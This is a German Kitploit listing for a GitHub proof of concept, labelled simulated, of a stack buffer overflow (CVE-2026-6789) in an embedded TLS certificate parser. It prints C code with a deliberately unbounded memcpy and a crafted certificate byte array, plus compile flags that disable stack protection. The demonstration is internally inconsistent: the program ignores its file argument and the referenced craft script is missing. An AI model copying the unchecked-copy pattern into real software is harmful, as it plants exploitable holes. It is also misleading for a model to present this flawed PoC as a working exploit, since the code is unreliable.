Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-6789-Stack-Buffer-Overflow-in-Embedded-TLS-Certificate-Parser — Stack-Buffer-Overflow-PoC in einem eingebetteten TLS-Zertifikatparser, der eine manipulierte X.509-SAN-Erweiterung zur Remote-Codeausführung auf IoT- und Industrie-Geräten verwendet. | Kitploit
Tools/GitHubGitHub/george0papasotiriou/cve-2026-6789-stack-buffer-overflow-in-embedded-tls-certificate-parser
Embedded-System-SicherheitIoT-SicherheitSchwachstellenanalyseExploitationLernen & BildungBinary-Exploitation
GitHubgeorge0papasotiriou/cve-2026-6789-stack-buffer-overflow-in-embedded-tls-certificate-parser

CVE-2026-6789-Stack-Buffer-Overflow-in-Embedded-TLS-Certificate-Parser

Stack-Buffer-Overflow-PoC in einem eingebetteten TLS-Zertifikatparser, der eine manipulierte X.509-SAN-Erweiterung zur Remote-Codeausführung auf IoT- und Industrie-Geräten verwendet.

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen
Repository anzeigen
1vor 1 MonatNoch nicht geprüft

9. CVE-2026-6789 – Stapel-Pufferüberlauf im eingebetteten TLS-Zertifikatparser

Überblick

Eine beliebte leichtgewichtige TLS-Bibliothek (simuliert) enthält einen Stapel-Pufferüberlauf beim Parsen von X.509-Zertifikaten mit einer manipulierten Längenangabe in den Subject-Alternative-Name-Erweiterungen.

Schweregrad: Kritisch (RCE auf IoT-/Industriegeräten)

Anfälliger C-Parser & Exploit

root@kitploit:~
// tls_x509_vuln.c
#include <stdio.h>
#include <string.h>
#include <stdint.h>
#include <stdlib.h>

// Vulnerable certificate parser
struct cert {
    uint8_t *data;
    size_t len;
};

int parse_san_extension(struct cert *cert, char *san_out, size_t out_size) {
    // Assume we are inside an extension with OID for SAN.
    uint8_t *p = cert->data + 10; // skip to extension value
    uint16_t ext_len = (p[0] << 8) | p[1];
    p += 2;
    // ext_len includes a sequence of GeneralNames. We only handle dNSName.
    while (p < cert->data + cert->len) {
        uint8_t name_type = *p++;
        uint16_t name_len = (p[0] << 8) | p[1];
        p += 2;
        if (name_type == 2) { // dNSName
            // Vulnerability: memcpy without bounds check to san_out
            memcpy(san_out, p, name_len); // STACK BUFFER OVERFLOW if name_len > out_size
            san_out[name_len] = '\0';
            return 0;
        }
        p += name_len;
    }
    return -1;
}

int main(int argc, char **argv) {
    // Malicious certificate payload: crafted SAN with oversized dNSName
    uint8_t malicious_cert[] = {
        // ... header, then extension:
        0x30, 0x12, // SEQUENCE extension
        0x06, 0x03, 0x55, 0x1d, 0x11, // OID SAN
        0x04, 0x0b, // octet string, length 11
        // ext_len (should be 0x0009 but we use 0x00ff to overflow)
        0x00, 0xff, // ext_len = 255 (overstated)
        // Then a dNSName: type 2, length huge
        0x02, 0x01, 0x41, // dNSName "A" but the parser will read massive length due to ext_len
    };
    struct cert cert;
    cert.data = malicious_cert;
    cert.len = sizeof(malicious_cert);

    char san[16]; // small buffer
    parse_san_extension(&cert, san, sizeof(san));
    printf("SAN: %s\n", san);
    return 0;
}

CVE-2026-6789 – Stapel-Pufferüberlauf in Embedded-TLS-X.509-SAN

Severity: Critical

📖 Überblick

Ein stapelbasierter Pufferüberlauf im Zertifikatparser einer weit verbreiteten eingebetteten TLS-Bibliothek ermöglicht Remote-Codeausführung, wenn ein Gerät ein speziell präpariertes X.509-Zertifikat verarbeitet.

⚙️ Schwachstellendetails

  • Typ: Stapel-Pufferüberlauf
  • Auswirkung: Remote-Codeausführung (vor Authentifizierung auf TLS-Servern)
  • Grundursache: Der Parser kopiert einen DNS-Namen aus der Subject-Alternative-Name-Erweiterung mithilfe eines Längenfelds, ohne die Größe des Ausgabepuffers zu validieren.

🧪 Exploit-Demonstration

  1. Erstellen Sie ein bösartiges Zertifikat:
    root@kitploit:~
    python craft_exploit_cert.py
    
  2. Kompilieren und Ausführen des anfälligen Parsers (Simulation):
    root@kitploit:~
    gcc tls_x509_vuln.c -o parser -fno-stack-protector -z execstack
    ./parser malicious.cer
    
Tool herunterladen